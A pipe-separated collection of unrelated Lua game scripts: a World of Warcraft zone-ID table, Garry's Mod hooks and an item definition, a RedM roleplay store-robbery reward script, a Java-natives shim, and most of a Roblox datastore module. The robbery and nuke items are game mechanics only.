[535] = { [1515] = 1515, [452] = 452, [1572] = 1572, [1583] = 1583, [1595] = 1595, [1593] = 1593, [560] = 560, [1599] = 1599, [568] = 568, [1416] = 1416, [1576] = 1576, [1441] = 1441, [427] = 427, [1587] = 1587, [1589] = 1589 }, -- Talador
[534] = { [450] = 450, [519] = 519, [1593] = 1593, [405] = 405, [483] = 483, [417] = 417, [1468] = 1468, [1536] = 1536, [1539] = 1539, [1586] = 1586, [1591] = 1591, [1660] = 1660, [1663] = 1663, [1664] = 1664, [1692] = 1692, [1693] = 1693, [1690] = 1690, [1581] = 1581 }, -- Tanaan Jungle
[577] = { [450] = 450, [519] = 519, [1593] = 1593, [405] = 405, [483] = 483, [417] = 417, [1468] = 1468, [1536] = 1536, [1539] = 1539, [1586] = 1586, [1591] = 1591, [1660] = 1660, [1663] = 1663, [1664] = 1664, [1692] = 1692, [1693] = 1693, [1690] = 1690, [1581] = 1581 }, -- Tanaan Jungle - Assault on the Dark Portal
[71] = { [560] = 560, [484] = 484, [491] = 491, [492] = 492, [430] = 430, [494] = 494, [431] = 431, [432] = 432, [2526] = 2526 }, -- Tanaris
[57] = { [507] = 507, [447] = 447, [452] = 452, [68] = 68, [419] = 419, [67] = 67, [478] = 478, [479] = 479, [420] = 420, [412] = 412, [379] = 379 }, -- Teldrassil
[319] = { [1154] = 1154, [1155] = 1155, [1156] = 1156 }, -- Temple of Ahn'Qiraj
[1038] = { [2186] = 2186 }, -- Temple of Sethraliss
[108] = { [387] = 387, [646] = 646, [132] = 132, [397] = 397, [417] = 417, [149] = 149, [517] = 517, [432] = 432, [186] = 186, [379] = 379 }, -- Terokkar Forest
[456] = { [2584] = 2584, [2583] = 2583 }, -- Terrace of Endless Spring MoP
[294] = { [2082] = 2082, [2081] = 2081, [2083] = 2083 }, -- The Bastion of Twilight
[210] = { [49] = 49, [401] = 401, [403] = 403, [404] = 404, [405] = 405, [406] = 406, [51] = 51, [407] = 407, [408] = 408, [410] = 410, [411] = 411, [239] = 239, [417] = 417, [421] = 421, [424] = 424, [47] = 47 }, -- The Cape of Stranglethorn
[130] = { [417] = 417, [412] = 412, [424] = 424 }, -- The Culling of Stratholme
[291] = { [50] = 50, [417] = 417 }, -- The Deadmines
[777] = { [1722] = 1722, [1723] = 1723 }, -- The Emerald Nightmare
[1512] = { [2658] = 2658, [2680] = 2680, [2692] = 2692, [2659] = 2659, [2696] = 2696, [2657] = 2657, [2694] = 2694 }, -- The Eternal Palace
[103] = { [141] = 141, [140] = 140, [138] = 138 }, -- The Exodar
[334] = { [1233] = 1233, [1234] = 1234, [1235] = 1235 }, -- The Eye
[183] = { [412] = 412 }, -- The Forge of Souls
[26] = { [446] = 446, [448] = 448, [449] = 449, [450] = 450, [393] = 393, [417] = 417, [412] = 412 }, -- The Hinterlands
[371] = { [380] = 380, [817] = 817, [818] = 818, [819] = 819, [562] = 562, [564] = 564, [567] = 567, [566] = 566, [568] = 568, [570] = 570, [569] = 569, [571] = 571, [699] = 699, [572] = 572, [702] = 702, [703] = 703, [565] = 565, [847] = 847, [573] = 573, [754] = 754 }, -- The Jade Forest MoP
[174] = { [401] = 401, [417] = 417 }, -- The Lost Isles
[246] = { [417] = 417 }, -- The Shattered Halls
[120] = { [641] = 641, [558] = 558, [412] = 412, [633] = 633, [1969] = 1969 }, -- The Storm Peaks
[168] = { [417] = 417, [412] = 412 }, -- The Violet Hold
[378] = { [2047] = 2047 }, -- The Wandering Isle MoP
[64] = { [398] = 398, [414] = 414, [52] = 52, [424] = 424, [505] = 505 }, -- Thousand Needles
[328] = { [2084] = 2084, [2085] = 2085 }, -- Throne of the Four Winds
[322] = { [328] = 328 }, -- Throne of the Tides
[508] = { [1183] = 1183, [1200] = 1200, [1177] = 1177, [1243] = 1243, [1202] = 1202, [1244] = 1244 }, -- Throne of Thunder
[88] = { [386] = 386 }, -- Thunder Bluff
[554] = { [1304] = 1304, [1323] = 1323, [1324] = 1324, [1326] = 1326, [1328] = 1328, [1337] = 1337, [1333] = 1333, [1338] = 1338, [1343] = 1343, [1344] = 1344, [1346] = 1346, [1350] = 1350, [1336] = 1336, [1335] = 1335, [1348] = 1348, [1345] = 1345, [417] = 417, [1325] = 1325, [1330] = 1330, [1329] = 1329, [1303] = 1303, [1321] = 1321, [1305] = 1305, [1266] = 1266, [2017] = 2017, [2018] = 2018 }, -- Timeless Isle
[895] = { [2380] = 2380, [2382] = 2382, [2410] = 2410, [2430] = 2430, [2381] = 2381, [2383] = 2383, [2377] = 2377, [2409] = 2409, [2165] = 2165, [2478] = 2478, [2562] = 2562, [2539] = 2539, [2555] = 2555, [1918] = 1918, [1978] = 1978 }, -- Tiragarde Sound
[18] = { [1523] = 1523, [319] = 319, [450] = 450, [646] = 646, [454] = 454, [458] = 458, [417] = 417, [1521] = 1521, [412] = 412, [424] = 424, [55] = 55, [378] = 378, [626] = 626, [2002] = 2002 }, -- Tirisfal Glades
[244] = { [271] = 271, [278] = 278, [410] = 410, [379] = 379 }, -- Tol Barad
[245] = { [271] = 271, [278] = 278, [410] = 410, [379] = 379 }, -- Tol Barad Peninsula
[1169] = { [2187] = 2187 }, -- Tol Dagor
[388] = { [1201] = 1201, [680] = 680, [733] = 733, [737] = 737, [739] = 739, [740] = 740, [732] = 732 }, -- Townlong Steppes MoP
[172] = { [1952] = 1952, [1953] = 1953, [1954] = 1954 }, -- Trial of the Crusader
[241] = { [645] = 645, [647] = 647, [388] = 388, [648] = 648, [393] = 393, [398] = 398, [548] = 548, [549] = 549, [550] = 550, [552] = 552, [470] = 470, [823] = 823, [414] = 414, [418] = 418, [420] = 420, [293] = 293, [431] = 431, [379] = 379, [2677] = 2677 }, -- Twilight Highlands
[147] = { [1955] = 1955, [1956] = 1956, [1957] = 1957, [1958] = 1958, [1959] = 1959, [1960] = 1960, [1961] = 1961, [1962] = 1962 }, -- Ulduar
[249] = { [631] = 631, [511] = 511, [542] = 542, [544] = 544, [545] = 545, [467] = 467, [484] = 484, [293] = 293, [851] = 851, [546] = 546, [543] = 543 }, -- Uldum
[78] = { [631] = 631, [632] = 632, [393] = 393, [403] = 403, [404] = 404, [405] = 405, [406] = 406, [237] = 237, [415] = 415, [502] = 502, [503] = 503, [504] = 504 }, -- Un'Goro Crater
[133] = { [412] = 412 }, -- Utgarde Keep
[136] = { [412] = 412 }, -- Utgarde Pinnacle
[641] = { [379] = 379, [1705] = 1705, [1706] = 1706, [1734] = 1734, [1736] = 1736, [1737] = 1737, [1738] = 1738, [1739] = 1739, [1802] = 1802, [1804] = 1804, [1907] = 1907, [1913] = 1913, [1927] = 1927, [1735] = 1735 }, -- Val'sharah
[390] = { [383] = 383, [748] = 748, [1124] = 1124, [1126] = 1126, [1125] = 1125, [747] = 747, [868] = 868, [749] = 749, [750] = 750, [751] = 751, [752] = 752 }, -- Vale of Eternal Blossoms MoP
[376] = { [1042] = 1042, [650] = 650, [677] = 677, [709] = 709, [706] = 706, [707] = 707, [708] = 708, [710] = 710, [711] = 711, [712] = 712, [713] = 713 }, -- Valley of the Four Winds MoP
[864] = { [2188] = 2188, [2190] = 2190, [2426] = 2426, [2428] = 2428, [2399] = 2399, [2417] = 2417, [2423] = 2423, [2425] = 2425, [2564] = 2564, [2565] = 2565 }, -- Vol'dun
[279] = { [233] = 233, [2049] = 2049 }, -- Wailing Caverns
[624] = { [1574] = 1574 }, -- Warspear
[398] = { [379] = 379 }, -- Well of Eternity
[22] = { [456] = 456, [398] = 398, [378] = 378, [379] = 379 }, -- Western Plaguelands
[52] = { [385] = 385, [387] = 387, [646] = 646, [388] = 388, [389] = 389, [84] = 84, [386] = 386, [378] = 378, [379] = 379, [2041] = 2041, [2058] = 2058, [2057] = 2057 }, -- Westfall
[56] = { [509] = 509, [56] = 56, [385] = 385, [646] = 646, [393] = 393, [398] = 398, [58] = 58, [418] = 418, [420] = 420, [378] = 378, [633] = 633, [238] = 238, [379] = 379 }, -- Wetlands
[83] = { [634] = 634, [57] = 57, [69] = 69, [471] = 471, [472] = 472, [487] = 487, [1163] = 1163, [412] = 412, [306] = 306, [633] = 633, [441] = 441 }, -- Winterspring
[875] = { [1213] = 1213, [1211] = 1211, [1180] = 1180, [1212] = 1212 }, -- Zandalar
[102] = { [515] = 515, [387] = 387, [419] = 419, [167] = 167, [146] = 146 }, -- Zangarmarsh
[333] = { [165] = 165, [412] = 412, [379] = 379 }, -- Zul'Aman
[121] = { [641] = 641, [387] = 387, [648] = 648, [234] = 234, [412] = 412, [535] = 535 }, -- Zul'Drak
[337] = { [307] = 307 }, -- Zul'Gurub
[862] = { [2384] = 2384, [2406] = 2406, [2410] = 2410, [2412] = 2412, [2416] = 2416, [2418] = 2418, [2430] = 2430, [2444] = 2444, [2385] = 2385, [2403] = 2403, [2407] = 2407, [2427] = 2427, [2413] = 2413, [2408] = 2408, [2421] = 2421, [2422] = 2422, [2390] = 2390, [2196] = 2196, [2409] = 2409, [2387] = 2387, [2538] = 2538, [2540] = 2540, [2562] = 2562, [2479] = 2479, [2537] = 2537, [2555] = 2555, [1919] = 1919, [1979] = 1979 }, -- Zuldazar
}
|
--[[-------------------------------------------------------------------
Nuke
---------------------------------------------------------------------]]
hook.Add("PlayerUse", "LaunchNuke", function(ply, ent)
if !ply:IsZombie() && ent.bNukeBtn && !ent:IsPressed() then
hook.Call( "OnNukeLaunched", GAMEMODE, ply )
end
end)
-- Specify which entity is the nuke button since there is no targetname on the func_button
hook.Add("EntityKeyValue", "SpecifyNukeButton", function(ent, k, v)
if ent:GetClass() == "func_button" && k == "OnPressed" && v == "Com,Command,say ***Nuke in 10secs.***,0,1" then
ent.bNukeBtn = true
end
end)
--[[-------------------------------------------------------------------
Map Fixes
---------------------------------------------------------------------]]
hook.Add("OnRoundChange", "RemoveBugsSecrets", function()
-- Remove orange secrets
/*local buttons = ents.FindByName("Orange*")
for _, v in pairs(buttons) do
if IsValid(v) then
v:Remove()
end
end
-- Remove skybox teleports
local buttons = ents.FindByName("SkyBox*")
for _, v in pairs(buttons) do
if IsValid(v) then
v:Remove()
end
end*/
for _, v in pairs(ents.FindInSphere(Vector(-2528,-4576,369), 64)) do
if string.find(v:GetClass(),"info_player") then
v:Remove()
end
end
end) |
Inventory = exports.vorp_inventory:vorp_inventoryApi()
local VorpCore = {}
TriggerEvent("getCore",function(core)
VorpCore = core
end)
data = {}
function RandomItem()
local Items = {
"goldbar",
"lockpick"
}
return Items[math.random(#Items)]
end
function RandomNumber()
return math.random(1,2)
end
TriggerEvent("vorp_inventory:getData",function(call)
data = call
end)
RegisterServerEvent("scf_storerobbery:reward")
AddEventHandler("scf_storerobbery:reward", function(type)
local _source = source
local User = VorpCore.getUser(_source)
local Character = User.getUsedCharacter
local r = math.random(1,10)
if(type == "clinic") then
if r < 3 then
Inventory.addItem(_source, "hairpin", math.random(1,2))
TriggerClientEvent("vorp:Tip", _source, 'You got some hair pins', 5000)
else
Inventory.addItem(_source, "consumable_ginseng", math.random(1,2))
TriggerClientEvent("vorp:Tip", _source, 'You got some ginseng', 5000)
end
else
if r < 3 then
local amount = RandomNumber()
Inventory.addItem(_source, "paper_clip", amount)
TriggerClientEvent("vorp:Tip", _source, 'You got '..amount..'x paper clip', 5000)
else
local amount = RandomNumber()
Inventory.addItem(_source, "goldbar", amount)
TriggerClientEvent("vorp:Tip", _source, 'You got '..amount..'x Goldbar', 5000)
end
end
end)
RegisterServerEvent('scf_storerobbery:lockpick')
AddEventHandler('scf_storerobbery:lockpick', function()
local _source = source
local User = VorpCore.getUser(_source)
local Character = User.getUsedCharacter
--TriggerClientEvent("scf_storerobbery:StartRobbing", _source)
TriggerServerEvent('scf_storerobbery:policecheck')
end)
RegisterNetEvent("scf_storerobbery:policenotify")
AddEventHandler("scf_storerobbery:policenotify", function(players, coords)
for each, player in ipairs(players) do
local Character = VorpCore.getUser(player).getUsedCharacter
if Character ~= nil then
if Character.job == 'police' then
TriggerClientEvent("scf_storerobbery:witness", player, coords)
end
end
end
end)
RegisterServerEvent("scf_storerobbery:policecheck")
AddEventHandler("scf_storerobbery:policecheck", function(players,type)
local _source = source
local Sceriffi = 0
for k,v in pairs(players) do
local User = VorpCore.getUser(v)
local Character = User.getUsedCharacter
if Character.job == "police" then
Sceriffi = Sceriffi + 1
end
end
if Sceriffi >= 1 then
TriggerClientEvent('scf_storerobbery:StartRobbing', _source,type)
else
TriggerClientEvent("vorp:Tip", _source, 'There arent enough Sheriffs', 5000)
end
end) |
natives["java.lang.Object"] = natives["java.lang.Object"] or {}
natives["java.lang.Object"]["toString()Ljava/lang/String;"] = function(this)
return asObjRef(tostring(this):sub(8), "Ljava/lang/String;")
end |
ITEM.name = "Car Battery"
ITEM.desc = "An old car battery"
ITEM.model = "models/items/car_battery01.mdl"
ITEM.width = 2
ITEM.height = 2
ITEM.money = {6, 10} |
--[[
@Author: Gavin "Mullets" Rosenthal
@Desc: Datastore system that can replace DS2/Roblox Datastore implementation. Roll the dice 🎲
@Note: While developing the rework, I didn't know what I was doing so all parameters are laid out in dictionary format
--]]
--[[
[DOCUMENTATION]:
https://github.com/Mullets-Gavin/DiceDataStore
Listed below is a quick glance on the API, visit the link above for proper documentation
[METHODS]:
:SetData()
:LoadData()
:SaveData()
:ClearData()
:GetData()
:UpdateData()
:IncrementData()
:RemoveData()
:WatchData()
:CalculateSize()
[FEATURES]:
- Automatic retries (stops at 5)
- Prevents data over writing saves per session
- Saves on BindToClose by default, no need to write your own code
- Super minimal networking with packets
- Real-time data replication
]]--
--// logic
local DataStore = {}
DataStore.Shutdown = false
DataStore.Initialized = false
DataStore.LoadedPlayers = {}
DataStore.FlaggedData = {}
local Configuration = {}
Configuration.Timeout = 3
Configuration.Key = nil
Configuration.Cached = {}
Configuration.Removal = {}
Configuration.Files = {}
Configuration.Internal = {
['Set'] = 'SetData';
['Get'] = 'GetData';
['Load'] = 'LoadData';
['Save'] = 'SaveData';
['Spawn'] = 'SpawnData';
['Watch'] = 'WatchData';
['Update'] = 'UpdateData';
['Increment'] = 'IncrementData';
}
--// services
local Services = setmetatable({}, {__index = function(cache, serviceName)
cache[serviceName] = game:GetService(serviceName)
return cache[serviceName]
end})
--// variables
local Player = Services['Players'].LocalPlayer
local Modules = script:WaitForChild('Modules')
local MsgService = require(Modules:WaitForChild('MsgService'))
local Manager = require(Modules:WaitForChild('Manager'))
local Methods = require(Modules:WaitForChild('Methods'))
local Network = script:WaitForChild('Network')
local NetSend = Network.SendData
local NetRetrieve = Network.RetrieveData
local IsStudio = Services['RunService']:IsStudio()
local IsServer = Services['RunService']:IsServer()
local IsClient = Services['RunService']:IsClient()
local TaskTime = -1 -- set no delay on the task manager
local API_Time = 6 -- the time it takes for api calls
--// functions
local function Send(...)
local data = {...}
if IsServer then
if typeof(data[1]) == 'Instance' and data[1]:IsA('Player') then -- to player
local plr = data[1]
local topic = data[2]
table.remove(data,table.find(data,plr))
table.remove(data,table.find(data,topic))
NetSend:FireClient(plr,topic,table.unpack(data))
return true
end
local topic = data[1]
table.remove(data,table.find(data,topic))
NetSend:FireAllClients(topic,table.unpack(data))
return true
end
local topic = data[1]
table.remove(data,table.find(data,topic))
NetSend:FireServer(topic,table.unpack(data))
return true
end
local function Retrieve(...)
local data = {...}
if IsServer then
if typeof(data[1]) == 'Instance' and data[1]:IsA('Player') then -- to player
local results = nil
local plr = data[1]
local topic = data[2]
table.remove(data,table.find(data,plr))
table.remove(data,table.find(data,topic))
local success,err = pcall(function()
results = NetRetrieve:InvokeClient(plr,topic,table.unpack(data))
end)
if success then
return results
end
return false
end
return false
end
local topic = data[1]
table.remove(data,table.find(data,topic))
local results = NetSend:InvokeServer(topic,table.unpack(data))
return results
end
local function GetPlayer(userID)
local plr = nil
local success,err = pcall(function()
plr = Services['Players']:GetPlayerByUserId(userID)
end)
if not success then return false end
return plr
end
--[[
Variations of call:
:SetData(key,table)
:SetData(key,table,sync)
]]--
function DataStore:SetData(...)
local data = {...}
local key = data[1]
local value = data[2]
local sync = data[3] or false
assert(typeof(key) == 'string',"[DICE DATASTORE]: Key 'string' expected, got '".. typeof(key) .."'")
assert(typeof(value) == 'table',"[DICE DATASTORE]: Data 'table' or 'dictionary' expected, got '".. typeof(key) .."'")
Manager.wrap(function()
if Configuration.Files[key] ~= nil then
if Configuration.Files[key]['Event'] then
Configuration.Files[key]['Event']:Disconnect()
end
if Configuration.Files[key]['Task'] then
Configuration.Files[key]['Task']:Disconnect()
end
Configuration.Files[key] = nil
end
value['___PlayingCards'] = false
Methods.SetDefault(key,value)
Configuration.Files[key] = {
['Default'] = value;
['Cache'] = {};
['Tasks'] = {};
['Event'] = nil;
['Sync'] = sync;
}
if sync and not Configuration.Key then
Configuration.Key = key
end
if sync and IsServer then
local function SendCache(plr)
while not DataStore.LoadedPlayers[plr.UserId] do Manager.wait() end
Send(plr, Configuration.Internal.Set, key, Configuration.Files[key], sync)
end
Configuration.Files[key]['Event'] = Services['Players'].PlayerAdded:Connect(function(plr)
SendCache(plr)
end)
for index,plr in pairs(Services['Players']:GetPlayers()) do
SendCache(plr)
end
elseif IsClient then
DataStore.Initialized = true
end
end)
end
--[[
Variations of call:
:SetRemoval(table)
:SetRemoval(key,table)
]]--
function DataStore:SetRemoval(...)
local data = {...}
local key = data[1]
local value = data[2]
Manager.wrap(function()
if typeof(key) == 'table' then
while Configuration.Key == nil do Manager.wait() end
value = key
key = Configuration.Key
end
Configuration.Removal[key] = value
end)
end
--[[
Variations of call:
:GetData()
:GetData(value)
:GetData(index)
:GetData(index,value)
:GetData(key,index)
:GetData(key,index,value)
]]--
function DataStore:GetData(...)
local data = {...}
local key = data[1]
local index = data[2]
local value = data[3]
local plr = nil
local task = nil
local control = {}
control.__Return = nil
control.__Update = function()
if IsClient then
if tonumber(index) ~= Player.UserId and Configuration.Key == key and plr then
local get = Retrieve(plr, Configuration.Internal.Get, key, index, value)
control.__Return = get
return
end
end
if value == nil then
control.__Return = Configuration.Files[key]['Cache'][index]
return
elseif value ~= nil then
control.__Return = Configuration.Files[key]['Cache'][index][value]
return
end
warn("[DICE DATASTORE]: Could not find data, key '",key,"' and index '",index,"' and '",value,"'")
control.__Return = false
return
end
plr = GetPlayer(key)
if not plr then
plr = GetPlayer(index)
end
while Configuration.Key == nil do Manager.wait() end
if not key and not index and not value and IsClient then
key = Configuration.Key
index = Player.UserId
value = nil
elseif key ~= nil and not index and not value and IsClient then
value = key
index = Player.UserId
key = Configuration.Key
elseif tonumber(key) and key ~= Configuration.Key and not index and not value then
value = nil
index = tonumber(key)
key = Configuration.Key
if not Player then
while DataStore.LoadedPlayers[index] == nil do Manager.wait() end
elseif Player.UserId == tonumber(key) then
while DataStore.LoadedPlayers[index] == nil do Manager.wait() end
end
elseif tonumber(key) and key ~= Configuration.Key and index ~= nil and not value then
value = index
index = tonumber(key)
key = Configuration.Key
if not Player then
while DataStore.LoadedPlayers[index] == nil do Manager.wait() end
elseif Player.UserId == tonumber(key) then
while DataStore.LoadedPlayers[index] == nil do Manager.wait() end
end
end
assert(typeof(key) == 'string',"[DICE DATASTORE]: Key 'string' expected, got '".. typeof(key) .."'")
assert(index ~= nil,"[DICE DATASTORE]: Index expected, got '".. typeof(index) .."'")
while Configuration.Files[key] == nil do Manager.wait() end
while Configuration.Files[key]['Cache'][index] == nil do Manager.wait() end
task = Configuration.Files[key]['Tasks'][index]
if not task then
Configuration.Files[key]['Tasks'][index] = Manager:Task(TaskTime)
task = Configuration.Files[key]['Tasks'][index]
end
task:Queue(control.__Update)
local test = control.__Return ~= nil and true or false
return control.__Return,test
end
--[[
Variations of call:
:UpdateData(index,value)
:UpdateData(key,index,value)
:UpdateData(index,value,change)
:UpdateData(key,index,value,change)
]]--
function DataStore:UpdateData(...)
local data = {...}
local key = data[1]
local index = data[2]
local value = data[3]
local change = data[4]
local code = ''
local plr = nil
local task = nil
local control = {}
control.__Return = nil
control.__Update = function()
if typeof(value) == 'table' or value == nil then
Configuration.Files[key]['Cache'][index] = value
if plr and IsServer then
Manager.spawn(function()
Send(plr, Configuration.Internal.Update, key, index, value)
end)
end
control.__Return = value
local parse = key..':'..index..':{}'
Manager:FireKey(parse,value)
return
elseif value ~= nil then
local success,err = pcall(function()
Configuration.Files[key]['Cache'][index][value] = change
end)
if not success then
warn('[DICE DATASTORE]: Failed to change, error:',err,debug.traceback())
end
if plr and IsServer then
Manager.spawn(function()
Send(plr, Configuration.Internal.Update, key, index, value, change)
end)
end
control.__Return = change
local parse = key..':'..index..':'..value
Manager:FireKey(parse,change)
return
end
control.__Return = false
return
end
plr = GetPlayer(key)
if not plr then
plr = GetPlayer(index)
end
if tonumber(key) and key ~= Configuration.Key then
change = value
value = index
index = tonumber(key)
key = Configuration.Key
while DataStore.LoadedPlayers[index] == nil do Manager.wait() end
end
if typeof(value) ~= 'table' then
while Configuration.Files[key]['Cache'][index] == nil do Manager.wait() end
end
assert(typeof(key) == 'string',"[DICE DATASTORE]: Key 'string' expected, got '".. typeof(key) .."'")
assert(index ~= nil,"[DICE DATASTORE]: Index expected, got '".. typeof(index) .."'")
while Configuration.Files[key] == nil do Manager.wait() end
task = Configuration.Files[key]['Tasks'][index]
if not task then
Configuration.Files[key]['Tasks'][index] = Manager:Task(TaskTime)
task = Configuration.Files[key]['Tasks'][index]
end
task:Queue(control.__Update)
local test = control.__Return ~= nil and true or false
return control.__Return,test
end
--[[
Variations of call:
:IncrementData(index,value,increment)
:IncrementData(key,index,value,increment)
]]--
function DataStore:IncrementData(...)
local data = {...}
local key = data[1]
local index = data[2]
local value = data[3]
local change = data[4]
while Configuration.Key == nil do Manager.wait() end
if tonumber(key) and key ~= Configuration.Key and index ~= nil then
change = value
value = index
index = tonumber(key)
key = Configuration.Key
while DataStore.LoadedPlayers[index] == nil do Manager.wait() end
end
local current = DataStore:GetData(key,index,value)
if current and tonumber(change) then
current = current + tonumber(change)
return DataStore:UpdateData(key,index,value,current)
end
return false
end
--[[
Variations of call:
:WatchData(function) -- client
:WatchData(value,function) -- client
:WatchData(index,value,function) -- shared
:WatchData(key,index,value,function) -- shared
]]--
function DataStore:WatchData(...)
local data = {...}
local key = data[1]
local index = data[2]
local value = data[3]
local func = data[4]
while not Configuration.Key do Manager.wait() end
if key ~= nil and index == nil and value == nil and func == nil and IsClient then
func = key
value = '{}'
index = Player.UserId
key = Configuration.Key
elseif key ~= nil and index ~= nil and value == nil and func == nil then
func = index
value = key
key = Configuration.Key
index = Player.UserId
elseif tonumber(key) and index ~= nil and value == nil and func == nil then
func = index
value = '{}'
index = tonumber(key)
key = Configuration.Key
elseif tonumber(key) and index ~= nil and value ~= nil and func == nil then
func = value
value = index
index = tonumber(key)
key = Configuration.Key
end
assert(key ~= nil)
assert(index ~= nil)
assert(value ~= nil)
assert(typeof(func) == 'function')
local parse = key..':'..index..':'..value
Manager:ConnectKey(parse,func)
end
--[[
Variations of call:
:LoadData(index,autosave)
:LoadData(key,index,autosave)
Returns:
true/false, data
]]--
function DataStore:LoadData(...)
if IsClient then return end
local data = {...}
local key = data[1]
local index = data[2]
local auto = data[3] or false
local plr = nil
while Configuration.Key == nil do Manager.wait() end
if tonumber(key) and key ~= Configuration.Key then
pcall(function()
plr = Services['Players']:GetPlayerByUserId(key)
end)
auto = index
index = key
key = Configuration.Key
else
assert(typeof(key) == 'string',"[DICE DATASTORE]: Key 'string' expected, got '".. typeof(key) .."'")
assert(index ~= nil,"[DICE DATASTORE]: Index expected, got '".. typeof(index) .."'")
end
if not Configuration.Files[key] then
warn("[DICE DATASTORE]: Failed to save data, key expected, got '",typeof(key),"'")
return false
end
local success,results = false,false
local function Load()
while table.find(DataStore.FlaggedData,index) do Manager.wait() end
table.insert(DataStore.FlaggedData,index)
results,success = Methods:Load(key,index)
Configuration.Files[key]['Cache'][index] = results
if plr then
Manager.wrap(function()
DataStore:UpdateData(key,index,results)
end)
end
DataStore:CalculateSize(key,index,'Loaded data')
table.remove(DataStore.FlaggedData,table.find(DataStore.FlaggedData,index))
Manager.spawn(function()
if auto then
while Configuration.Files[key]['Cache'][index] do
Manager.wait()
Manager.wait(300)
DataStore:SaveData(key,index)
end
end
end)
return success
end
local task = Configuration.Files[key]['Tasks'][index]
if not task then
task = Manager:Task(TaskTime)
Configuration.Files[key]['Tasks'][index] = task
end
task:Queue(Load)
Configuration.Files[key]['Cache'][index] = results
return success
end
--[[
Variations of call:
:SaveData(index,remove)
:SaveData(key,index,remove)
Returns:
true or false
]]--
function DataStore:SaveData(...)
if IsClient then return end
local data = {...}
local key = data[1]
local index = data[2]
local remove = data[3] or false
local flag = true
if DataStore.Shutdown and remove then return end
if tonumber(key) and key ~= Configuration.Key then
remove = index
index = key
key = Configuration.Key
flag = false
end
if flag then
assert(typeof(key) == 'string',"[DICE DATASTORE]: Key 'string' expected, got '".. typeof(key) .."'")
assert(index ~= nil,"[DICE DATASTORE]: Index expected, got '".. typeof(index) .."'")
end
if DataStore.Shutdown then
remove = true
end
if not Configuration.Files[key] then
warn("[DICE DATASTORE]: Failed to save data, key expected, got '",typeof(key),"'")
return false
end
local results = false
local function Save()
while table.find(DataStore.FlaggedData,index) do Manager.wait() end
table.insert(DataStore.FlaggedData,index)
local value = Configuration.Files[key]['Cache'][index]
if value == nil then return end
Manager.spawn(function()
if remove then
value['___PlayingCards'] = false
if Configuration.Files[key]['Tasks'][index] ~= nil then
if Configuration.Files[key]['Tasks'][index]:Enabled() then
Configuration.Files[key]['Tasks'][index]:Disconnect()
Configuration.Files[key]['Tasks'][index] = nil
end
end
if Configuration.Files[key]['Cache'][index] ~= nil then
Configuration.Files[key]['Cache'][index] = nil
end
end
end)
if remove then
for index,stat in pairs(Configuration.Removal[key]) do
value[stat] = Configuration.Files[key]['Default'][stat]
end
end
results = Methods:Save(key,index,value)
if not DataStore.Shutdown then
DataStore:CalculateSize(key,index,'Saved data')
end
table.remove(DataStore.FlaggedData,table.find(DataStore.FlaggedData,index))
return results
end
while table.find(DataStore.FlaggedData,index) do Manager.wait() end
local task = Configuration.Files[key]['Tasks'][index]
if task then
pcall(function()
task:Queue(Save)
end)
return results
end
return false
end
--[[
Variations of call:
:ClearData(index,remove)
:ClearData(key,index,remove)
Returns:
true or false
]]--
function DataStore:ClearData(...)
if IsClient then return end
local data = {...}
local key = data[1]
local index = data[2]
local flag = true
if tonumber(key) and key ~= Configuration.Key then
index = key
key = Configuration.Key
flag = false
end
if flag then
assert(typeof(key) == 'string',"[DICE DATASTORE]: Key 'string' expected, got '".. typeof(key) .."'")
assert(index ~= nil,"[DICE DATASTORE]: Index expected, got '".. typeof(index) .."'")
end
if not Configuration.Files[key] then
warn("[DICE DATASTORE]: Failed to save data, key expected, got '",typeof(key),"'")
return false
end
local results = false
local function Clear()
Manager.spawn(function()
if Configuration.Files[key]['Tasks'][index] ~= nil then
Configuration.Files[key]['Tasks'][index]:Disconnect()
Configuration.Files[key]['Tasks'][index] = nil
end
end)
Configuration.Files[key]['Cache'][index] = {}
results = Methods:Clear(key,index)
DataStore:CalculateSize(key,index,'Cleared data')
Configuration.Files[key]['Cache'][index] = nil
return results
end
return Clear()
end
--[[
Variations of call:
:RemoveData(key,index)
]]--
function DataStore:RemoveData(...)
if IsClient then return end
local data = {...}
local key = data[1]
local index = data[2]
if tonumber(key) and key ~= Configuration.Key then
index = tonumber(key)
key = Configuration.Key
end
DataStore:ClearData(key,index)
table.insert(DataStore.FlaggedData,index)
local findPlayer; do
local success,err = pcall(function()
findPlayer = Services['Players']:GetPlayerByUserId(index)
end)
if findPlayer then
findPlayer:Kick('\nCleared Data')
end
end
Manager.wait(API_Time)
table.remove(DataStore.FlaggedData,table.find(DataStore.FlaggedData,index))
end
--[[
Variations of call:
:CalculateSize(index[,optional text])
:CalculateSize(key,index[,optional text])
Returns:
success state
]]--
function DataStore:CalculateSize(...)
local data = {...}
local key = data[1]
local index = data[2]
local suffix = data[3]
if tonumber(key) and key ~= Configuration.Key then
suffix = index
index = tonumber(key)
key = Configuration.Key
end
if suffix then
suffix = '| '.. suffix
else
suffix = ''
end
if Configuration.Files[key] then
local value = Configuration.Files[key]['Cache'][index] or {}
if value then
local getPlrName
local success,err = pcall(function()
getPlrName = Services['Players']:GetNameFromUserIdAsync(index)
end)
if success then
print('[DICE DATASTORE]:',getPlrName..' ('..index..')','|','File size:',#Services['HttpService']:JSONEncode(value)..' bytes',suffix)
return true
end
print('[DICE DATASTORE]:',key..'['..index..']','|','File size:',#Services['HttpService']:JSONEncode(value)..' bytes',suffix)
return true
else
print('[DICE DATASTORE]:',key,'|','File size:',#Services['HttpService']:JSONEncode(Configuration.Files[key]['Cache'])..' bytes',suffix)
return true
end
end
return false
end
--// initialize
Manager.wrap(function()
if not DataStore.Initialized then
DataStore.Initialized = true
Manager.spawn(function()
local currentClock = os.clock()
while not _G.YieldForDeck and os.clock() - currentClock < 1 do Manager.wait() end
if not _G.YieldForDeck then
script.Parent = Services['ReplicatedStorage']
end
end)
end
if IsServer then
game:BindToClose(function()
DataStore.Shutdown = true
print('[DICE DATASTORE]: Shutting down and saving player data')
local ShutdownTask = Manager:Task(TaskTime)
for index,content in pairs(Configuration.Files[Configuration.Key]['Cache']) do
ShutdownTask:Queue(Manager.wrap(function()
local results = DataStore:SaveData(Configuration.Key,index,false)
if IsStudio then
DataStore:CalculateSize(Configuration.Key,index,'Shutdown: Saved data')
end
end))
end
ShutdownTask:Wait()
Manager.wait(1)
end)
NetRetrieve.OnServerInvoke = function(plr,topic,...)
local data = {...}
if topic == Configuration.Internal.Get then
return DataStore:GetData(table.unpack(data))
end
end
NetSend.OnServerEvent:Connect(function(plr,topic,...)
local data = {...}
if topic == Configuration.Internal.Spawn then
DataStore.LoadedPlayers[plr.UserId] = true
end
end)
